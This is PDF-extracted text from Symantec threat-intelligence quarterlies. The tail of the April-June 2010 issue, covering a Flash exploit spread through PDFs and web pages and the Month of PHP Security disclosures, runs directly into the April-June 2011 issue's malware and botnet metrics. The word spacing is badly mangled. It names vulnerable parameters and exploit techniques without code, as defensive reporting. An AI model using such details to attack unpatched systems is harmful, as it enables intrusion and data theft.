Unlik e JavaScrip t, there is currently no easy wa y to disable Flash from the user interface in Reader, which means the
process of mitigating a Flash vulnerabilit y in Reader is difficult f or less technical users.
AAttacksttacks
Upon initial disclo sure of the vulnerabilit y, Symantec identified t wo cases in the wild that exploited W eb and PDF
documents, respectively. While these attacks exploited the same vulnerabilit y, they did so in diff erent products, with each
having a separate, specific goal. Bo th attacks appeared to use the same malicious Flash file, with only a slight v ariation
(the Flash file had to be t weak ed slightly to be used either in a PDF or in a W eb browser). Although they appeared to use
the same Flash file, each attack delivered a unique piece of malicious code using dis tinctly different pieces of shellcode. 18
PDFPDF-based attack-based attack
While a good file f ormat exploit 19will replace a malicious document with a benign one, po st-exploitation, this particular
PDF attack made no such attemp t. This could be a sign that the attack er was either no t ver y sophis ticated or was no t
concerned about the vulnerabilit y being discovered and fix ed. An unpatched vulnerabilit y is a commodit y for an attack er.
There is a correlation bet ween the number of people that know about an unpatched vulnerabilit y and the v alue that it has.
For ex ample, an unpatched vulnerabilit y that is exploitable and known by only a select f ew people has high v alue, while
conversely, a vulnerabilit y that is known by man y and readily patched has low v alue. Of ten, once a bug is publicly known
and more attack ers gain access to it, there will be a sur ge of attacks that attemp t to exploit an y remaining unpatched
systems. These attacks of ten lack the finesse of the original, with less re gard f or pro tecting the vulnerabilit y because it is
already well known (at leas t to more knowledgeable users).
The shellcode in this attack made use of return oriented programming (ROP) techniques to disable Data Ex ecution
Prevention (DEP) on Windows ® XP sys tems, indicating some technical prowess. The malicious PDF was delivered to victims
as an email attachment, while the email message was craftedtolure the victim into opening the attached malicious PDF.
The malicious code ins talled by the PDF attack was unremarkable. It provided a rudimentar y back door to attack ers, but
did no t include direct functionalit y to har vest credentials or ob tain sensitive inf ormation in an automated fashion.
WWeb-based attackeb-based attack
The W eb-based attack was tailored toward users of Micro soft Internet Explorer®. While the bug could be used agains t any
browser that supports Flash, due to the nature of the vulnerabilit y, making it work on diff erent browsers required
additional modifications. The wa y the W eb-based attack was written implied a greater desire to pro tect the vulnerabilit y.
Whoever developed the shellcode implemented a number of checks to ensure that the application terminated quickly and
without generating a crash report to lea ve few traces about the nature of the bug. Interes tingly, high-qualit y exploits are
18-A shellcode is an assembly language program that ex ecutes a shell; shellcode can be used as an exploit pa yload
19-A file f ormat exploit is a sof tware exploit that mak es use of a maliciously craf ted file f ormat used by the aff ected applicationSymantec Intelligence Quarterly
April - June 2010
7usually tho se that attemp t to continue ex ecution of the application uninterrup ted. An application that terminates
immediately af ter loading a new file usually indicates that there is something amiss. Additionally, unlik e the PDF -based
attack, the shellcode did no t attemp t to disable DEP.
The IEPThe IEP eers-tareers-tar geted attack linkgeted attack link
The shellcode used in the W eb-based attack is eerily familiar to that used in the tar geted attacks agains t the Micro soft
Internet Explorer® “iepeers.dll” Remo te Code Ex ecution V ulnerabilit y,20which occurred in March 2010 and which tar geted
attacks agains t the Micro soft Internet Explorer® XML Handling Remo te Code Ex ecution V ulnerabilit y.21The only major
differences in this shellcode appeared to be reliabilit y enhancements.
Attack ers sharing and reusing shellcode is common and of ten no t a definitive sign of the same exploit author; however,
there are some con vincing similarities in the malicious code used in the t wo attacks. F or ex ample, once a computer is
compromised, the malicious code injects a DLL file named “wshipm.dll” into applications such as Internet Explorer®,
Firef ox®, and Outlook®. Comparing this file at the binar y level with the DLL that is used in the IEP eers tar geted attack
shows a number of dis tinct similarities in the source code. This lends credibilit y to the po ssibilit y that the malicious code
in this attack is a deriv ative of the same malicious code used in the IEP eers tar geted attacks. Whoever wro te the code f or
this attack definitely had access to the source code f or portions of the malicious code used in the IEP eers tar geted attack.
As with the IEP eers attack, sensitive inf ormation can be har vested from the exploited applications and sent to the attack er
in a remo te location.
ConclusionConclusion
While these attacks exploited the same vulnerabilit y, they did so in diff erent wa ys with diff erent agendas. The W eb-based
attack appears to be more tailored to ob taining sensitive inf ormation, while the PDF -based attack simply provided limited
back door functionalit y, po ssibly f or building a bo t net work or f or the later dis tribution of additional malicious code. The
Web-based attack appears to ha ve been much more tar geted and is far more sophis ticated in bo th its attemp ts to hide the
vulnerabilit y and its po st-exploitation activit y.
Over view: The Month of PHP Securit y
The disclo sure of securit y vulnerabilities in sof tware has his torically been a contentious topic bet ween securit y
researchers and sof tware vendors. V endors of ten do no t want to publicly discuss securit y problems in their products on
the chance that doing so will harm sales, mak e cus tomers unhappy, and give hack ers a vector to tar get with an exploit.
Securit y researchers, even tho se who practice responsible disclo sure, of ten f eel frus tration that vendors reveal f ew of the
details about vulnerabilities or hold the percep tion that some vendors do no t tak e securit y seriously.
In 2006, the firs t Month of Bugs project was launched as a wa y to increase awareness of securit y vulnerabilities in W eb
browsers. 22The Month of Browser Bugs was a series of exploits published ever y day for a month agains t Internet Explorer®,
Mozilla Firef ox®, Apple Safari®, and Opera ®. This project helped bring some publicit y to browser securit y and ma y have
impelled vendors to fix the issues fas ter than they normally would ha ve. Other researchers ha ve since used this s trate gy to
help improve the securit y of v arious technologies; this includes the Month of K ernel Bugs, the Month of Apple Bugs, and
the Month of PHP Bugs. The lates t ins tallment, in Ma y 2010, was the Month of PHP Securit y (MoPS).
20-http://w ww.securit yfocus.com/bid/38615
21-http://w ww.securit yfocus.com/bid/32721
22-http://w ww.hardened-php.net/Symantec Intelligence Quarterly
April - June 2010
8The purpo se of MoPS was to improve the securit y of PHP and the PHP eco system by disclo sing vulnerabilities in PHP and
PHP applications. The result was the disclo sure of 60 securit y issues and the publication of a number of additional articles
about PHP application securit y or tools specific to PHP securit y. No tably, the majorit y of the disclo sed issues are no t
considered exploitable vulnerabilities, because a developer essentially mus t "attack themselves."
Most of the issues involved interrup ting internal functions by using a deprecated f eature known as call-time pass-by-
reference. These bugs require that the "allow_call_time_pass_ref erence" configuration op tion is enabled, that an attack er
has local access to his or her W eb ser ver, and that the ser ver is configured to permit the ex ecution of cus tom code.
Of the remaining issues, 10 apply to applications that use PHP:
•Camp site23is prone to an SQL -injection vulnerabilit y aff ecting the 'article_id' parameter; 24
•ClanSphere 25is prone to SQL -injection vulnerabilities that aff ect the CAP TCHA generator and the MySQL driver; 26
•Clantiger 27is prone to an SQL -injection vulnerabilit y aff ecting the 's_email' parameter; 28
•Delux eBB29is prone to an SQL -injection vulnerabilit y aff ecting the 'memberid' cookie parameter; 30
•eFront 31is prone to an SQL -injection vulnerabilit y aff ecting the 'chatrooms_ID' parameter; 32
•Xinha 33and Serendipit y34are prone to a vulnerabilit y that permits attack ers to upload arbitrar y files; 35
•Cacti 36is prone to an SQL -injection vulnerabilit y aff ecting the 'rra_id' parameter; 37
•CMSQlite 38is prone to an SQL -injection vulnerabilit y and a local file-include vulnerabilit y;39
•e107 40is prone to an SQL -injection vulnerabilit y and a vulnerabilit y that allows attack ers to ex ecute arbitrar y
PHP code. 41
The mo st serious of these issues is the arbitrar y PHP code-ex ecution vulnerabilit y agains t e107, a popular content
manager. Proofs-of -concep t are a vailable and the issue has no t yet been patched by the vendor. Adminis trators of
e107-based sites should disable bbcode functionalit y until a vendor patch is a vailable. A t the ver y leas t, res trict access to
trusted net works, deploy net work intrusion detection, and be sure only to run the application as a non-privile ged user.
In PHP itself, f our vulnerabilities were reported:
•An inte ger-overflow vulnerabilit yaffects the 'php_dechunk()' function. 42This function is used to decode remo te
HTTP chunk ed encoding s treams. T o exploit the issue, a PHP scrip t mus t interact with a malicious W eb ser ver.
•Multiple vulnerabilities that allow code-ex ecution aff ect the PHP ‘sqlite’ module. 43The vulnerabilities reside in
the 'sqlite_single_quer y()' and 'sql_arra y_quer y()' functions, and can be trig gered if the 'rres' resource is no t
properly initializ ed bef ore it is used.
23-http://w ww.campware.or g
24-http://w ww.securit yfocus.com/bid/39862
25-http://w ww.clansphere.net/
26-http://w ww.securit yfocus.com/bid/39896
27-http://w ww.clantiger.com/
28-http://w ww.securit yfocus.com/bid/39917
29-http://w ww.delux ebb.com
30-http://w ww.securit yfocus.com/bid/39962
31-http://w ww.efrontlearning.net/
32-http://w ww.securit yfocus.com/bid/40032
33-http://trac.xinha.or g/
34-http://w ww.s9y.or g/
35-http://w ww.securit yfocus.com/bid/40033
36-http://cacti.net/
37-http://w ww.securit yfocus.com/bid/40149
38-http://w ww.cmsqlite.net
39-http://w ww.securit yfocus.com/bid/40195
40-http://e107.or g/news.php
41-http://w ww.securit yfocus.com/bid/40202 and http://w ww.securit yfocus.com/bid/40252
42-http://w ww.php.net
43-http://w ww.securit yfocus.com/bid/39877Symantec Intelligence Quarterly
April - June 2010
9•Multiple f ormat-s tring vulnerabilities affect the PHP 'phar' extension. 44The phar extension gives developers a
way to place entire PHP applications into a single file—i.e., a PHP archive. The vulnerabilities aff ect several
functions within the extension that supply unsaf e data to the core 'php_s tream_wrapper_log_error()' function.
PHP has addressed these issues with patches applied to the project' s SVN repo sitor y.
•Multiple vulnerabilities affect the PHP 'Mysqlnd' extension. 45This native driver extension is a replacement f or
the MySQL client librar y libm ysql.
The f our reported vulnerabilities consis t of three buff er-overflow vulnerabilities and an inf ormation-disclo sure issue that
lets attack ers har vest the contents of heapbased memor y.
Only the issues aff ecting the 'phar' extension ha ve been addressed by PHP so far. PHP adminis trators should implement
the f ollowing mitigations:
•Run PHP with the leas t privile ges po ssible;
•Deploy NID S to monitor net work traffic f or signs of malicious activit y;
•Implement nonex ecutable and randomly mapped memor y segments if po ssible;
•Restrict access to PHP -based sites to trus ted net works and computers only.
•PHP ser vers can be made more secure in general by disabling global v ariables, using a chroo t jail, and
restricting file uploads.
44-http://w ww.securit yfocus.com/bid/40013
45-http://w ww.securit yfocus.com/bid/40173Symantec Intelligence Quarterly
April - June 2010
10Marc F ossi
Executive E ditor
Manager, Development
Securit y Technolog y and ResponseDean T urner
Director, Global Intelligence Net work
Securit y Technolog y and Response
Amanda Andrews
Editor
Securit y Technolog y and ResponseEric Johnson
Editor
Securit y Technolog y and Response
Trevor Mack
Editor
Securit y Technolog y and ResponseTéo Adams
Threat Analysis Engineer
Securit y Technolog y and Response
Joseph Blackbird
Threat Analys t
Securit y Technolog y and ResponseBrent Gra veland
Threat Analys t
Securit y Technolog y and Response
Darren K emp
Threat Analys t
Securit y Technolog y and ResponseDebbie Mazurek
Threat Analys t
Securit y Technolog y and ResponseCreditsSymantec Intelligence Quarterly
April - June 2010
11
|
Security ResponseContents
Introduction ........................................................ 1
Highlights . ........................................................... 2
Metrics ................................................................ 2
Timeline . ............................................................ 11
Articles .............................................................. 12Introduction
This. report. discusses. notable. aspects. of.malicious. activity. that.
Symantec. observed. from. April. 1.to.June. 30,. 2011.. It.also. in-
cludes. a.timeline. of.notable. events. for.the. period,. as.well. as.
two. additional. articles. on. noteworthy. security. threats—the.
Qakbot. worm. and. MACDefender. rogue. security. software.. . .
Symantec. has.established. some. of.the.most. comprehensive. sources.
of.Internet. threat. data. in.the.world. with. the.Symantec™. Global. In-
telligence. Network.. More. than. 240,000. sensors. in.over. 200. coun -
tries. and. territories. monitor. attack. activity. through. a.combination.
of.Symantec. products. and. services. such. as.Symantec. DeepSight™.
Threat. Management. System,. Symantec™. Managed. Security. Ser-
vices,. Norton™. consumer. products,. and. third-party. data. sources.
Symantec. also. gathers. malicious. code. intelligence. from. more. than. 133.
million. client,. server,. and. gateway. systems. that. have. deployed. its.an-
tivirus. products.. Additionally,. the.Symantec. distributed. honeypot. net-
work. collects. data. from. around. the.globe,. capturing. previously. unseen.
threats. and.attacks. and.providing. valuable. insight. into.attack. methods.
In.addition,. Symantec. maintains. one.of.the.world’s. most. comprehen -
sive. vulnerability. databases,. currently. consisting. of.more. than. 40,000.
recorded. vulnerabilities. (spanning. more. than. two. decades). affect -
ing.more. than. 105,000. technologies. from. more. than. 14,000. vendors..
Symantec. also. facilitates. the.BugTraq™. mailing. list,. one. of.the.most.
popular. forums. for.the.disclosure. and. discussion. of.vulnerabilities. on.
the.Internet,. which. has. approximately. 24,000. subscribers. who. con-
tribute,. receive,. and. discuss. vulnerability. research. on.a.daily. basis.April - June, 2011Symantec Intelligence QuarterlySymantec.Intelligence.Quarterly:.April-June,.2011
Page.2
Security ResponseSpam.and.phishing.data.is.captured.through.a.variety.of.sources.including:.the.Symantec.probe.network,.a.sys -
tem.of.more.than.5.million.decoy.accounts;.MessageLabs™.Intelligence,.a.respected.source.of.data.and.analysis.
for.messaging.security.issues,.trends.and.statistics;.and,.other.Symantec.technologies..Over.8.billion.email.
messages.(as.well.as.over.1.billion.Web.requests).are.processed.each.day.across.16.data.centers..Symantec.also.
gathers.phishing.information.through.an.extensive.antifraud.community.of.enterprises,.security.vendors,.and.
over.50.million.consumers.
These.resources.give.Symantec.security.analysts.unparalleled.sources.of.data.with.which.to.identify,.analyze,.
and.provide.informed.commentary.on.emerging.trends.in.attacks,.malicious.code.activity,.phishing,.and.spam..
An important note about these statistics
The.Symantec.Global.Intelligence.Network.uses.automated.systems.to.map.the.IP.addresses.of.the.attacking.sys -
tems.to.identify.the.country.in.which.they.are.located..However,.because.attackers.frequently.use.compromised.
systems.situated.around.the.world.to.launch.attacks.remotely,.the.location.of.the.attacking.systems.may.differ.
from.the.location.of.the.attacker.
Highlights
•.Approximately.166.million.unique.malicious.code.threats.were.observed.this.quarter.
•.The.takedown.of.two.major.botnets—Rustock.and.Coreflood—had.a.major.effect.on.global.malicious.activity.
numbers.and.rankings,.particularly.for.the.United.States.and.Germany,.which.both.dropped.significantly.in.
several.malicious.activity.rankings.
•.The.average.number.of.Web-based.attacks.per.day.in.this.quarter.was.138,000.
•.Variants.of.the.Ramnit.virus.rose.to.prominence.during.this.quarter,.fueling.a.rise.in.malicious.activity.rankings.
for.India.and.Indonesia,.where.the.virus.is.especially.active.
Metrics
Total Unique Malicious Code Threats
Background
Symantec.analyzes.unique.samples.of.new.and.existing.malicious.code.variants.to.determine.which.threat.types.
and.attack.vectors.are.being.employed.in.the.most.prevalent.threats..The.number.of.unique.malicious.code.
threats.observed.in.a.specific.period.can.provide.insight.into.the.overall.variance.of.activity.in.the.threat.land -
scape.
Methodology
Symantec.assesses.the.number.of.unique.malicious.code.threats.that.are.observed.during.a.reporting.period..
Malicious.code.threats.are.made.unique.from.each.other.when.the.code.is.generated.using.different.parameters..
The.parameters.may.change.depending.on.the.preferences.and.requirements.of.the.attacker.generating.them..
For.example,.when.an.attacker.defines.which.IP.address.the.malicious.code.should.report.to.after.a.successful.
installation,.the.malicious.code.will.be.unique.from.that.which.uses.a.different.IP.address..There.are.a.multitude.
of.parameters.possible,.including.port.numbers,.command-and-control.(C&C).IPs,.activation.dates,.and.specific.
files.to.download.after.installation,.to.name.a.few..These.numbers.are.based.in.part.on.telemetry.data.of.opt-in.
participants;.therefore,.they.may.not.be.directly.synonymous.with.the.overall.number.of.variants.active.during.
the.period..Symantec.Intelligence.Quarterly:.April-June,.2011
Page.3
Security ResponseData
Observations
By the numbers :.Approximately.166.million.unique.malicious.code.threats.were.observed.this.quarter..The.drop.
in.unique.malicious.code.threats.observed.in.May.and.June.may.indicate.that.less.malicious.code.was.being.
generated.from.different.sources.than.in.April.
Targeted attacks influence variant numbers: .A.drop.in.observed.malicious.code.threats.from.one.month.to.
the.next.may.indicate.that.attackers.are.focusing.their.resources.on.launching.a.campaign.of.targeted.attacks,.
or.working.to.increase.their.attack.resources.(e.g.,.amassing.bots).to.better.facilitate.the.gathering.of.sensitive.
information.from.which.they.can.profit..For.example,.the.RSA.security.breach.that.compromised.the.company’s.
SecurID.products.this.past.March—of..which.there.are.nearly.300.million.users—opened.an.avenue.for.targeted.
attacks.on.RSA.customers..Attackers.reportedly.then,.as.expected,.used.the.stolen.SecurID.data.in.targeted.at -
tacks.
•.What.the.RSA.breach.means.for.you.(FAQ)
•.Data.stolen.in.RSA.breach.used.to.target.defense.contractor
The role of botnets :.The.lower.number.of.unique.malicious.code.threats.in.May.and.June.may.also.be.related.to.
the.Rustock.and.Coreflood.botnet.takedowns.earlier.in.the.year.(which.are.discussed.further.in.“Malicious.Activ -
ity.by.Source,”.below)..Malicious.code.distributed.through.botnet.attacks.can.contain.slightly.different.code.from.
server.to.server.as.parameters.change..Therefore,.when.large.botnets.are.removed.from.the.threat.landscape,.
the.number.of.varying.code.threats.will.also.subsequently.decrease.Figure.1 .
Unique malicious code threats
010203040506062
May
Month
Unique malicious code variants
(in millions)
June AprilSymantec.Intelligence.Quarterly:.April-June,.2011
Page.4
Security ResponseMalicious Activity by Source
Background
Malicious.activity.usually.affects.computers.that.are.connected.to.high-speed.broadband.Internet.because.these.
connections.are.attractive.targets.for.attackers..Broadband.connections.provide.larger.bandwidth.capacities.
than.other.connection.types,.faster.speeds,.the.potential.of.constantly.connected.systems,.and.typically.more.
stable.connections..Symantec.categorizes.malicious.activities.as.follows:
• Malicious code :.This.includes.viruses,.worms,.and.Trojans.that.are.covertly.inserted.into.programs..The.pur -
poses.of.malicious.code.include.destroying.data,.running.destructive.or.intrusive.programs,.stealing.sensitive.
information,.or.compromising.the.security.or.integrity.of.a.victim’s.computer.data.
• Spam zombies :.These.are.compromised.systems.that.are.remotely.controlled.and.used.to.send.large.volumes.
of.junk.or.unsolicited.emails..These.emails.can.be.used.to.deliver.malicious.code.and.phishing.attempts.
• Phishing hosts :.A.phishing.host.is.a.computer.that.provides.website.services.for.the.purpose.of.attempting.
to.illegally.gather.sensitive,.personal.and.financial.information.while.pretending.that.the.request.is.from.a.
trusted,.well-known.organization..These.websites.are.designed.to.mimic.the.sites.of.legitimate.businesses.
• Bot-infected computers :.These.are.compromised.computers.that.are.being.controlled.remotely.by.attackers..
Typically,.the.remote.attacker.controls.a.large.number.of.compromised.computers.over.a.single,.reliable.chan -
nel.in.a.bot.network.(botnet),.which.is.then.used.to.launch.coordinated.attacks.
• Network attack origins :.This.measures.the.originating.sources.of.attacks.from.the.Internet..For.example,.at -
tacks.can.target.SQL.protocols.or.buffer.overflow.vulnerabilities.
• Web-based attack origins :.These.are.sources.of.attacks.that.are.delivered.via.the.Web.or.through.HTTP.on.
other.systems..Typically,.legitimate.websites.are.compromised.and.used.to.attack.unsuspecting.visitors.
Methodology
This.metric.assesses.the.sources.from.which.the.largest.amount.of.malicious.activity.originates..To.determine.
malicious.activity.by.source,.Symantec.has.compiled.geographical.data.on.numerous.malicious.activities,.includ -
ing.malicious.code.reports,.spam.zombies,.phishing.hosts,.bot-infected.computers,.and.network.and.Web-based.
attack.origins.
The.proportion.of.each.activity.originating.in.each.source.is.then.determined..The.mean.of.the.percentages.of.
each.malicious.activity.that.originates.in.each.source.is.calculated..This.average.determines.the.proportion.of.
overall.malicious.activity.that.originates.from.the.source.in.question.and.the.rankings.are.determined.by.calcu -
lating.the.mean.average.of.the.proportion.of.these.malicious.activities.that.originated.in.each.source.
Data
Figure.2 .
Malicious activity by source, overall
10
8596
427
1
3Source Rank Percentage
United.States 1 22%
China 2 11%
Brazil 3 6%
India 4 6%
Taiwan 5 4%
Russia 6 4%
Germany 7 3%
Indonesia 8 3%
Italy 9. 3%
United.Kingdom 10. 3%Symantec.Intelligence.Quarterly:.April-June,.2011
Page.5
Security ResponseFigure.3 .
Malicious code by source
5
36
810
14
72
9Source Rank Percentage
India 1 15%
United.States 2 13%
Indonesia 3 11%
China 4 5%
United.Kingdom 5 4%
Vietnam 6 4%
Egypt 7 4%
Bangladesh 8 3%
Brazil 9 3%
Russia 10 2%
Figure.4 .
Spam zombies by source
93
7 8
465
1012Source Rank Percentage
Brazil 1 14%
India 2 13%
Russia 3 9%
Vietnam 4 7%
Ukraine 5 5%
Indonesia 6 4%
Pakistan 7 3%
Romania 8 2%
Taiwan 9 2%
Argentina 10 2%
Figure.5 .
Phishing hosts by source
659
782
4
1013Source Rank Percentage
United.States 1 51%
Germany 2 6%
United.Kingdom 3 5%
Canada 4 3%
China 5 3%
Colombia 6 3%
France 7 3%
Russia 8 3%
Netherlands 9 2%
Brazil 10 2%Symantec.Intelligence.Quarterly:.April-June,.2011
Page.6
Security ResponseFigure.6 .
Bots by source
26
10948
17
35Source Rank Percentage
Taiwan 1 17%
Brazil 2 13%
United.States 3 10%
Italy 4 9%
Hungary 5 7%
China 6 7%
Poland 7 6%
Germany 8 5%
Japan 9 5%
Argentina 10 3%
Figure.7 .
Network attack origins by source
8
45 10
719 3
26Source Rank Percentage
China 1 36%
United.States 2 14%
Russia 3 4%
Brazil 4 4%
Italy 5 3%
United.Kingdom 6 3%
India 7 3%
Taiwan 8 2%
Canada 9 2%
Japan 10 2%
Figure.8 .
Web-based attack origins by source
968104
317
25Source Rank Percentage
United.States 1 44%
China 2 13%
South.Korea 3 5%
Germany 4 4%
United.Kingdom 5 3%
Japan 6 3%
Netherlands 7 2%
Russia 8 2%
France 9 2%
Canada 10 2%Symantec.Intelligence.Quarterly:.April-June,.2011
Page.7
Security ResponseObservations
Big botnets, big impact :.Nearly.all.of.the.malicious.activity.that.occurs.in.the.threat.landscape,.aside.from.most.
targeted.attacks,.is.automated.using.botnets..The.large.botnet.shutdowns.in.2011.has.resulted.in.there.being.
lower.overall.volumes.in.the.second.quarter.of.2011.for.all.malicious.activities.related.to.botnets,.such.as.spam.
zombies.and.phishing.hosts..Notable.decreases.to.numerous.types.of.malicious.activity.usually.result.imme -
diately.after.the.infrastructure.of.a.significantly.large.botnet.is.crippled.or.its.C&C.center.is.eliminated..This.is.
because.its.bots.are.ostensibly.isolated.and.unable.to.receive.new.instructions.
Rustock takedown :.The.Rustock.botnet.has.been.one.of.the.most.prominent.botnets.in.recent.years..The.lat -
est.Symantec. Internet Security Threat Report .notes.that.Rustock.accounted.for.36.percent.of.all.spam.globally.
in.2010,.including.over.60.percent.of.all.spam.in.August.and.October..Legal.action.taken.at.the.end.of.the.first.
quarter.of.2011—based,.in.part,.on.trademark.abuse.in.spam—was.used.to.seize.Rustock’s.C&C.servers.and.cut.
off.its.communication.with.its.related.bots..The.result.of.the.operation.was.a.significant.decrease.in.Rustock-
related.malicious.activity.that,.combined.with.other.botnet.takedowns,.has.resulted.in.noticeable.decreases.in.
overall.malicious.activity.from.botnets.during.this.quarter..This.is.especially.true.in.the.United.States,.where.the.
majority.of.Rustock.bots.had.been.located.
•.Symantec. Internet Security Threat Report ,.Volume.16:.“Malicious.Activity.by.Source” .
•.Taking.down.botnets:.Microsoft.and.the.Rustock.botnet
•.How.Operation.b107.decapitated.the.Rustock.botnet
U.S. and German zombies disappear :.Typically,.the.United.States.and.Germany.rank.in.the.top.10.for.spam.
zombies..For.example,.in.2010,.the.two.ranked.second.and.third,.respectively,.behind.only.Brazil..However,.
during.this.reporting.period.they.ranked.only.15th.and.22nd,.respectively..This.may.indicate.that.a.significant.
percentage.of.the.spam.zombies.in.those.countries.were.related.to.the.Rustock.and.Coreflood.botnets..While.
these.two.botnets.did.control.zombies.in.other.countries,.it.may.be.that.there.is.a.more.diverse.distribution.of.
other.botnets.controlling.zombies.elsewhere.globally.than.in.the.United.States.and.Germany..This.would.result.in.
a.less.noticeable.impact.to.overall.zombie.numbers.elsewhere.in.the.world.following.the.shutdowns.
Coreflood botnet targeted :.In.April.2011,.the.FBI.were.able.to.debilitate.the.Coreflood.botnet.by.being.granted.
a.temporary.court.order.that.allowed.them.to.replace.known.Coreflood.C&C.servers.with.servers.that.they.
controlled..As.a.result,.each.time.a.Coreflood.bot.contacted.an.agency-controlled.servers.for.instructions,.that.
server.would.note.the.IP.address.of.the.bot.and.instruct.it.to.stop.operating..This.would.disable.the.bot.until.the.
next.reboot.of.the.compromised.computer..Using.the.logged.IP.addresses,.the.FBI.then.worked.with.various.ISPs.
to.notify.users.that.their.computers.were.compromised.and.assisted.them.in.the.removal.of.the.malicious.code.
•.FBI.vs..Coreflood.botnet
India and Indonesia rise in malicious code rankings :.Both.India.and.Indonesia.ranked.higher.for.malicious.
code.during.this.reporting.period.than.in.2010..India.ranked.first.this.quarter,.compared.to.second.during.2010..
Indonesia.ranked.third.this.quarter,.compared.to.11th.in.2010..One.reason.for.their.increases.is.that.the.cur -
rent.top.three.malicious.code.families—Ramnit,.Sality,.and.Bamital—are.very.prominent.in.these.two.countries..
While.India’s.ranking.may.be.due,.in.part,.to.decreases.observed.in.the.United.States.(primarily.due.to.the.botnet.
shutdowns.noted.above),.Indonesia’s.rank.is.mainly.due.to.the.overwhelming.prominence.of.three.samples:.
Ramnit,.Ramnit.B,.and.Bamital..In.this.quarter,.these.three.samples.each.accounted.for.more.than.four.times.the.
number.of.reported.potential.infections.in.Indonesia.than.the.next.highest.sample—with.Bamital.alone.account -
ing.for.the.majority,.by.a.considerable.margin.
•.Read.more.about.Bamital
•.Read.more.about.Ramnit
•.Read.more.about.Ramnit.B
•.Read.more.about.Sality.AESymantec.Intelligence.Quarterly:.April-June,.2011
Page.8
Security ResponseWeb-based Attack Prevalence
Background
The.circumstances.and.implications.of.Web-based.attacks.vary.widely..They.may.have.specific.targets.or.they.
may.be.widespread.attacks.of.opportunity.that.exploit.current.events,.zero-day.vulnerabilities,.or.recent.vulner -
abilities.against.which.some.users.are.not.yet.protected..While.some.major.attacks.garner.significant.attention,.
examining.Web-based.attacks.overall.provides.insight.into.the.threat.landscape.and.how.attack.patterns.may.be.
shifting..Moreover,.analysis.of.the.underlying.trend.can.provide.insight.into.potential.shifts.in.Web-based.attack.
usage.and.can.help.determine.the.likelihood.of.Web-based.attacks.increasing.in.the.future.
Methodology
This.metric.assesses.changes.to.the.prevalence.of.Web-based.attack.activity.by.comparing.the.average.number.
of.attacks.per.day.in.each.month..The.averages.are.based.on.telemetry.data.of.opt-in.participants.and,.therefore,.
may.not.be.directly.synonymous.with.overall.activity.levels.or.fluctuations.that.occurred.as.a.whole..However,.
underlying.trends.observed.in.the.sample.data.provide.a.reasonable.representation.of.overall.activity.trends.
Data
Observations
Ebb and flow :.Although.the.average.number.of.Web-based.attacks.per.day.declined.during.this.reporting.period,.
the.difference.remains.within.typical.fluctuation.levels.that.can.occur.in.the.threat.landscape..While.the.data.
provides.an.overview.of.changes.within.the.period,.what.might.appear.as.potentially.large.changes.in.the.three.
months.may.not.be.indicative.of.the.trends.that.are.observable.over.longer.year-over-year.periods..
Browser specific attacks :.Browser.detection.is.a.standard.step.in.Web-based.attacks..It.allows.the.attack.code.
to.launch.only.the.exploit.code.that.has.a.chance.of.successfully.compromising.a.potential.victim’s.browser..If.
the.user’s.browser.is.not.vulnerable.to.one.of.the.attackers.exploits,.then.an.attack.might.not.be.launched.at.
all..This.can.influence.fluctuations.in.Web-based.attacks.when.new.browsers.are.released..Until.vulnerabilities.
in.the.software.are.discovered.and.exploited,.there.may.be.fewer.attacks.directed.at.users.of.the.new.browser..
This.may.explain.some.of.the.decrease.observed.in.June,.which.coincides.with.the.release.of.Mozilla.Firefox.5..
(Firefox. is.estimated .to.currently.have.approximately.20.percent.of.the.market.share.for.Internet.browsers.)Figure.9 .
Web-based attack prevalence
May
Month
Average number of W
eb-based attacks per da
y
June April100,000110,000120,000130,000140,000150,000160,000Symantec.Intelligence.Quarterly:.April-June,.2011
Page.9
Security ResponseTop Malicious Code Samples
Background
Symantec.analyzes.new.and.existing.malicious.code.samples.to.determine.which.threat.types.and.attack.vec -
tors.are.being.employed.in.the.most.prevalent.threats..This.information.also.allows.administrators.and.users.to.
gain.familiarity.with.threats.that.attackers.may.favor.in.their.exploits..Insight.into.emerging.threat.development.
trends.can.help.bolster.security.measures.and.mitigate.future.attacks.
Methodology
This.metric.assesses.the.top.malicious.code.samples.detected.in.the.current.reporting.quarter..To.determine.
this,.Symantec.ranks.each.malicious.code.sample.based.on.the.volume.of.potential.infections.reported.during.
the.period..The.top.10.malicious.code.samples.are.analyzed.for.this.metric.
Data
Observations
The Ramnit and Ramnit.B viruses :.Ramnit.was.first.discovered.in.January.2010.and.became.one.of.the.top.10.
malicious.code.families.that.year,.as.discussed.in.the.latest.Symantec. Internet Security Threat Report ..The.report.
also.notes.that.Sality.AE.has.been.a.top-ranking.sample.for.several.years—by.a.significant.margin.in.2010,.in.
particular..The.rise.in.prominence.of.Ramnit.over.Sality.in.the.first.two.quarters.of.2011—with.Ramnit.B.close.
behind—is.a.clear.indicator.of.the.effectiveness.of.the.Ramnit.family..
First.discovered.in.November.2010,.Ramnit.B.is.functionally.similar.to.its.predecessor..Ramnit.B,.though,.has.
extended.its.ability.to.propagate.by.exploiting.the.same.vulnerability.that.was.exploited.by.Stuxnet—the.“Micro -
soft.Windows.shortcut.‘LNK/PIF’.files.automatic.file.execution.vulnerability.”.Ramnit.B.also.installs.a.backdoor.
on.compromised.computers,.allowing.remote.access.for.attackers..
•.Read.more.about.Ramnit
•.Read.more.about.Ramnit.BFigure.10 .
Top malicious code samples
Rank Name
Virus
Worm
Backdoor
TrojanPropagation
MechanismsImpacts /Features
1 Ramnit Removable.drives/executables Infects.executable.files
2 Sality.AE Removable.drives/executables Removes.security.applications.and.services.and.down -
loads.files.from.remote.addresses
3 Bamital N/A Modifies.Internet.search.results.to.include.advertise -
ment.URLs
4 Ramnit.B Removable.drives/executables/
remote.vulnerabilityInfects.executable.files.and.allows.remote.access
5 Downadup.B P2P/CIFS/remote.vulnerability Disables.security.applications.and.Windows.Update,.
downloads.and.installs.additional.threats
6 Virut.CF Executables Downloads.additional.threats,.infects.executables.and.
allows.remote.access
7 Almanahe.B CIFS/mapped.drives/removable.
drives/executablesInfects.executable.files,.ends.security.related.process -
es.and.installs.additional.threats
8 SillyFDC.BDP CIFS/removable.drives/remote.
vulnerabilityDownloads.additional.threats.and.sends.fake.DHCP.
packets.to.hijack.DNS.configurations
9 SillyFDC Removable.drives Downloads.additional.threats
10 Mabezat.B SMTP/CIFS/removable.drives Encrypts.and.infects.filesSymantec.Intelligence.Quarterly:.April-June,.2011
Page.10
Security Response•.Read.more.about.Sality.AE
•.Symantec. Internet Security Threat Report ,.Volume.16:.Malicious.code.families
